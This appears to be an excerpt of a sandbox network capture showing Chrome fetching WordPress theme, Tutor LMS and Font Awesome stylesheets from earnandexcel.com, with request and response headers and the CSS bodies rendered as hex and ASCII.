74 75 74 6f Data Ascii: .tutor-gy-xl-2{--tutor-gutter-y: 1rem}.tutor-g-xl-3,.tutor-gx-xl-3{--tutor-gutter-x: 1.5rem}.tutor-g-xl-3,.tutor-gy-xl-3{--tutor-gutter-y: 1.5rem}.tutor-g-xl-4,.tutor-gx-xl-4{--tutor-gutter-x: 2rem}.tutor-g-xl-4,.tutor-gy-xl-4{--tutor-gutter-y: 2rem}.tuto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49712	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	586	OUT	GET /wp-content/plugins/tutor/assets/css/tutor-front.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	929	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e48f84818cc-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fad6-1deb7" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:50 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NkPUmdmTrz1BrBAZUaD%2FPUsIXd4hLYPEOpPGewUK58VSxD%2FSOA1d%2B88GcMjnFgvugtsQgUrtW69XoHGQ776UOKdhlLZX9%2FB55ZKd2PG6pkLDx5qP6HO7KFp5A9hPzwhnxH0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	440	IN	Data Raw: 35 38 38 66 0d 0a 3a 72 6f 6f 74 7b 2d 2d 74 75 74 6f 72 2d 74 65 78 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 77 68 69 74 65 3a 09 23 66 66 66 66 66 66 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 73 75 63 63 65 73 73 3a 09 23 32 34 41 31 34 38 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 73 75 63 63 65 73 73 2d 72 67 62 3a 09 33 36 2c 20 31 36 31 2c 20 37 32 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 77 61 72 6e 69 6e 67 3a 09 23 45 44 39 37 30 30 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 77 61 72 6e 69 6e 67 2d 72 67 62 3a 09 32 33 37 2c 20 31 35 31 2c 20 30 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 64 61 6e 67 65 72 3a 09 23 46 34 34 33 33 37 3b 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 64 61 6e 67 65 72 Data Ascii: 588f:root{--tutor-text-size: 16px;--tutor-color-white:#ffffff;--tutor-color-success:#24A148;--tutor-color-success-rgb:36, 161, 72;--tutor-color-warning:#ED9700;--tutor-color-warning-rgb:237, 151, 0;--tutor-color-danger:#F44337;--tutor-color-danger
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 61 63 6b 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 75 74 6f 72 2d 62 6f 64 79 2d 63 6f 6c 6f 72 29 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 77 68 69 74 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 29 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 73 75 63 63 65 73 73 7b 63 6f 6c 6f 72 3a 23 32 34 41 31 34 38 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 77 61 72 6e 69 6e 67 7b 63 6f 6c 6f 72 3a 23 45 44 39 37 30 30 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 64 61 6e 67 65 72 7b 63 6f 6c 6f 72 3a 23 46 34 34 33 33 37 7d 2e 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 7b 63 6f 6c 6f 72 3a 23 Data Ascii: ack{color:var(--tutor-body-color)}.tutor-color-white{color:#ffffff}.tutor-color-primary{color:var(--tutor-color-primary)}.tutor-color-success{color:#24A148}.tutor-color-warning{color:#ED9700}.tutor-color-danger{color:#F44337}.tutor-color-secondary{color:#
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 35 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 72 65 67 75 6c 61 72 2d 74 69 6e 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 35 25 7d 2e 74 65 78 74 2d 6d 65 64 69 75 6d 2d 68 31 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 31 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 6d 65 64 69 75 6d 2d 68 31 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 31 25 7d 2e 74 65 78 74 2d 6d 65 Data Ascii: ght:400;font-size:11px;line-height:145%}.tutor-text-regular-tiny{font-weight:400;font-size:11px;line-height:145%}.text-medium-h1{font-weight:500;font-size:80px;line-height:101%}.tutor-text-medium-h1{font-weight:500;font-size:80px;line-height:101%}.text-me
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 74 2d 6d 65 64 69 75 6d 2d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 32 25 7d 2e 74 65 78 74 2d 6d 65 64 69 75 6d 2d 74 69 6e 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 35 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 6d 65 64 69 75 6d 2d 74 69 6e 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 35 25 7d 2e 74 65 78 74 2d 73 65 6d 69 2d 68 31 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 Data Ascii: t-medium-small{font-weight:500;font-size:13px;line-height:162%}.text-medium-tiny{font-weight:500;font-size:11px;line-height:145%}.tutor-text-medium-tiny{font-weight:500;font-size:11px;line-height:145%}.text-semi-h1{font-weight:600;font-size:80px;line-heig
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 31 25 7d 2e 74 65 78 74 2d 62 6f 6c 64 2d 68 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 31 37 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 62 6f 6c 64 2d 68 32 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 31 37 25 7d 2e 74 65 78 74 2d 62 6f 6c 64 2d 68 33 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 30 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 62 6f 6c 64 2d 68 33 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: ;line-height:101%}.text-bold-h2{font-weight:700;font-size:60px;line-height:117%}.tutor-text-bold-h2{font-weight:700;font-size:60px;line-height:117%}.text-bold-h3{font-weight:700;font-size:40px;line-height:120%}.tutor-text-bold-h3{font-weight:700;font-size
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 30 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 62 74 6e 2d 6c 61 72 67 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 30 25 7d 2e 74 65 78 74 2d 62 74 6e 2d 6d 65 64 69 75 6d 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 30 25 7d 2e 74 75 74 6f 72 2d 74 65 78 74 2d 62 74 6e 2d 6d 65 64 69 75 6d 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 30 25 7d 2e 74 65 78 74 2d Data Ascii: weight:500;font-size:16px;line-height:200%}.tutor-text-btn-large{font-weight:500;font-size:16px;line-height:200%}.text-btn-medium{font-weight:500;font-size:15px;line-height:160%}.tutor-text-btn-medium{font-weight:500;font-size:15px;line-height:160%}.text-
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 64 79 2d 63 6f 6c 6f 72 29 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 73 2d 63 6f 6e 74 65 6e 74 73 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 69 74 6c 65 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 73 2d 63 6f 6e 74 65 6e 74 73 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 69 74 6c 65 20 68 34 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 75 74 6f 72 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 35 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 74 6f 70 69 63 2e 74 75 74 6f 72 2d 61 63 74 69 76 65 20 Data Ascii: dy-color)}.tutor-course-topics-contents .tutor-course-title{cursor:pointer}.tutor-course-topics-contents .tutor-course-title h4{color:var(--tutor-color-primary);font-size:16px;line-height:25px;overflow:hidden;margin-top:0}.tutor-course-topic.tutor-active
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 78 2d 73 74 61 72 74 7d 74 61 62 6c 65 2e 63 6f 75 72 73 65 2d 73 69 6e 67 6c 65 2d 67 72 61 64 65 62 6f 6f 6b 73 20 2e 64 61 74 65 74 69 6d 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 6c 65 73 73 6f 6e 73 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 6c 65 73 73 6f 6e 20 68 35 20 69 2e 74 75 74 6f 72 2d 6c 65 73 73 6f 6e 2d 74 68 75 6d 62 6e 61 69 6c 2d 69 63 6f 6e 7b 68 65 69 67 68 74 3a 35 30 70 78 3b 77 69 64 74 68 3a 37 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 3b 70 6f Data Ascii: x-start}table.course-single-gradebooks .datetime{margin:0;font-size:80%}.tutor-course-lessons .tutor-course-lesson h5 i.tutor-lesson-thumbnail-icon{height:50px;width:70px;border-radius:3px;text-align:center;line-height:50px;color:#fff;margin-right:10px;po
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 63 74 69 76 65 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 2e 38 7d 2e 74 75 74 6f 72 2d 6e 6f 74 69 63 65 2d 77 61 72 6e 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 63 66 38 65 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 61 65 62 63 63 3b 70 61 64 64 69 6e 67 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 74 75 74 6f 72 2d 69 6e 66 6f 2d 6d 73 67 2c 2e 74 75 74 6f 72 2d 73 75 63 63 65 73 73 2d 6d 73 67 2c 2e 74 75 74 6f 72 2d 77 61 72 6e 69 6e 67 2d 6d 73 67 2c 2e 74 75 74 6f 72 2d 65 72 72 6f 72 2d 6d 73 67 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 20 33 70 78 20 33 70 78 20 33 70 78 7d 2e 74 75 74 Data Ascii: ctive:hover{opacity:.8}.tutor-notice-warning{background-color:#fcf8e3;border-color:#faebcc;padding:20px;margin-bottom:10px}.tutor-info-msg,.tutor-success-msg,.tutor-warning-msg,.tutor-error-msg{margin:10px 0;padding:10px;border-radius:3px 3px 3px 3px}.tut
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 6e 73 74 72 75 63 74 6f 72 2d 77 72 61 70 20 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 74 6f 70 7b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 7d 7d 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 77 72 61 70 20 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 74 6f 70 20 68 33 2c 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 77 72 61 70 20 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 74 6f 70 20 68 34 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 73 69 6e 67 6c 65 2d 69 6e 73 74 72 75 63 74 6f 72 2d 77 72 61 70 20 2e 74 75 74 6f 72 2d 69 6e 73 74 72 75 63 74 6f 72 2d 6c 65 66 74 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 30 70 78 7d 40 6d Data Ascii: nstructor-wrap .single-instructor-top{flex-wrap:wrap}}.single-instructor-wrap .single-instructor-top h3,.single-instructor-wrap .single-instructor-top h4{margin:0;padding:0}.single-instructor-wrap .tutor-instructor-left{flex:0 0 auto;padding-right:30px}@m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49714	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	580	OUT	GET /wp-content/plugins/tutor-pro/assets/css/front.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	924	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4c5fe5c45e-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32b7-3b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:37:27 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JCK%2FMGQejqbf6GKkV5NdhYqA9KKgxYF3BYkBNoQxnuhzaWCO1ibOLT2x26EyVP6NRS6FUQWorr%2BUqF%2Bo7uisAkhz8zQsDgJUVGkIKUWk7ts3BG2NkIYvGB7jVhFOu2DkFd8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	65	IN	Data Raw: 33 62 0d 0a 2e 65 6e 72 6f 6c 6d 65 6e 74 2d 65 78 70 69 72 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0d 0a Data Ascii: 3b.enrolment-expire-info { margin-top: 10px !important;}
2024-04-11 21:26:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49715	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	598	OUT	GET /wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4c6f338c06-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-151" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdsubcrDD8wohh33tCAUbzJGyDg2BLZrqVviiujq%2Bc3M1jQetZ%2FIwpRCg5F%2FrrND00iJ6ZGD9IhbFPTwlMXkKWoMEigqc7S3KZ5q6HFHyKHIu9GKadT3M0lZ7G5LLpqIXoU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	344	IN	Data Raw: 31 35 31 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 47 6f 72 64 69 74 61 3b 73 72 63 3a 75 72 6c 28 47 6f 72 64 69 74 61 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 47 6f 72 64 69 74 61 3b 73 72 63 3a 75 72 6c 28 47 6f 72 64 69 74 61 2d 4d 65 64 69 75 6d 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 47 Data Ascii: 151@charset "UTF-8";@font-face{font-family:Gordita;src:url(Gordita-Regular.ttf) format('truetype');font-style:normal}@font-face{font-family:Gordita;src:url(Gordita-Medium.ttf) format('truetype');font-style:normal;font-weight:500}@font-face{font-family:G
2024-04-11 21:26:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49716	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	605	OUT	GET /wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:36 UTC	927	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4c6cea1819-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32e0-2a63d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:08 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i5pbTZmxlpwpoXhGut7Pq%2BNefTjNFqNtqFtKDeP4Ih2QSwdMsImEQX66N0u0VykXDUgcRkBGbbgntVvHz0Y1m3bewbQ5MxFS%2FG97XHpVeYPDljaNQCJFaFg%2FUvo3909gnF0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:36 UTC	442	IN	Data Raw: 37 63 31 31 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 50 72 6f 20 35 2e 31 33 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 28 43 6f 6d 6d 65 72 63 69 61 6c 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a Data Ascii: 7c11/! Font Awesome Pro 5.13.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license (Commercial License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:
2024-04-11 21:26:36 UTC	1369	IN	Data Raw: 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e 66 61 2d 35 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 65 6d 7d 2e 66 61 2d 36 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 65 6d 7d 2e 66 61 2d 37 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 65 6d 7d 2e 66 61 2d 38 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 65 6d 7d 2e 66 61 2d 39 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 65 6d 7d 2e 66 61 2d 31 30 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 65 6d 7d 2e 66 61 2d 66 77 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 Data Ascii: t-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;widt
